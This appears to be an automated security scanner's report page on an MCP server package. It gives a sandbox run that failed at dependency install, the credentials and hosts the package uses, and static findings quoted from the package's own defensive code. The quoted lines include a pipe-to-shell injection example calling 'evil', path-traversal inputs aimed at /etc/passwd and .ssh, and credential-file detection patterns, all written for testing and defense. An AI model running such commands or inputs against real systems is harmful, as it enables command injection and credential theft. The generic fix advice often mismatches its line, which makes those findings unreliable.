mcpwatchman@0.46.6
CAUTION· not startedPublisher claims: "Independent security and quality audit for Model Context Protocol servers." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
DEPLOY_CREDENTIALGITHUB_CREDENTIALGITHUB_TOKENMCPWATCHMAN_GITHUB_TOKENOPENAI_API_KEYConfiguration, not credentials: MCPW_DEPLOY_KEY, MCPWATCHMAN_API_URL- Where it talks to
- mcpwatchman.com (its own)Also osv.dev, deps.dev — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names osv.dev, deps.dev as well as its own vendor. The guard injects DEPLOY_CREDENTIAL, GITHUB_CREDENTIAL, GITHUB_TOKEN, MCPWATCHMAN_GITHUB_TOKEN, OPENAI_API_KEY only into requests to mcpwatchman.com (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-09 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths; Access to sensitive file paths; References a credential file in the home directory. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
|process\.env\s*[.\[]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# `\.env\b` also could not match after a space: `\b` before a literal `.`Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# git's HTTPS transport is libcurl, which sends credentials from $HOME/.netrcFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# and `root / "/etc/passwd"` is `/etc/passwd`, so the excerpt readerFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# A secrets-loading library. `dotenv` reads a `.env` file, which is where aFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.|Deno\.env\.get\s*\(Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# requires a preceding word character, so "Create a .env file" never matched.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.`"; curl evil | sh #` is code.Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.`/etc/shadow` and then confirm the link's own location is fine.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.r"\{([^{}]{1,400})\}\s*=\s*(?:process\.env\b|Deno\.env\.toObject\s*\(\s*\)|os\.environ\b)"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# variable in GIT_ISOLATION set, a `.netrc` entry still reached the server.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# git's HTTPS transport is libcurl, which sends credentials from $HOME/.netrcFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.`/etc/passwd` or at a parent directory, and following it would both inflateFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.return subprocess.run( # noqa: S603 - argument listFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.if [[ -d "$SCAN_TMP" && ! -L "$SCAN_TMP" && -O "$SCAN_TMP" ]] && chmod 700 "$SCAN_TMP"; thenFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.deploy=(npx --yes "$WRANGLER" deploy)Fix: Pin versions and sources; vendor anything fetched at install time.return subprocess.run( # noqa: S603 - argument list, fixed executableFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.log "main's site lockfile carries no wrangler: deploying with npx $WRANGLER (transitive dependencies unpinned)"Fix: Pin versions and sources; vendor anything fetched at install time.r"|(?:^|[\s(`'\"])\.env\b",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# where every transitive dependency is pinned with an integrity hash: `npxFix: Pin versions and sources; vendor anything fetched at install time.ok = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.# cache, inside the process holding the Cloudflare login. The npx form remainsFix: Pin versions and sources; vendor anything fetched at install time.&& rm -rf /var/lib/apt/lists/*Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.return subprocess.run( # noqa: S603 - argument list, fixed executableFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run( # noqa: S603 - argument list, fixed executableFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.⚠ **Never replace this with `subprocess.run(..., timeout=)`.** That call isFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.Popen( # noqa: S603 - argv form, no shell; callers buildFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.`"; curl evil | sh #` is code.Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.⚠ **`subprocess.run(..., timeout=N)` KILLS THE CHILD AND ORPHANS ITSFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.Popen( # noqa: S603 - argv form, no shell; as run_boundedFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.The kill is `SIGKILL` to the group rather than `SIGTERM` to the child.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.An MCP server is usually started with `npx <package>`, and npm runs a package'sFix: Pin versions and sources; vendor anything fetched at install time."""libcurl reads $HOME/.netrc whatever git's configuration says, so theFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.return subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.first = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.tag_object = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.big = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."""An archive can point a symlink at /etc/passwd or a parent; following itFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.["../../../etc", "a/../../../../etc", "..", "../.ssh", "/etc/passwd", "-x", "--help"],Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.netrc = home / ".netrc"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.revs = subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.# survive the expiry in order to kill the process GROUP, so it returnsFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.# `04` §4.4: "Timeout is 5 minutes per scan; OOM kill at 2 GB."Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.shallow = subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.# Measured with a negative control — `subprocess.run(f"cat {arg}",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run( # noqa: S603 - fixed argv, no shell string from inputFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.(tmp_path / "link").symlink_to("/etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.⚠ **This exists because `subprocess.run(..., timeout=N)` does not.** It killsFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.first = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.second = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.return subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.assert seen and True not in seen, "a git child sent the operator's .netrc credential"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.plain = subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.# ⚠ `run_bounded`, NEVER `subprocess.run(timeout=)`. semgrep is a PythonFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run([git, "-C", str(repo), "add", "-A"], check=True) # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."""libcurl reads $HOME/.netrc whatever git's configuration says, so theFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."""libcurl reads $HOME/.netrc whatever git's configuration says, so theFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.blob = subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.assert True in seen, "fixture is inert: the .netrc credential was never sent"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.subprocess.run([git, "init", "-q", str(repo)], check=True) # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for mcpwatchman@0.46.6 as of 5d ago. This is the package itself, not its dependencies.
What would make this Verified
12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- Unclaimed publisher≈ +8 on the totalClaim kvadrum: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- References a credential file in the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- File permission modification command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.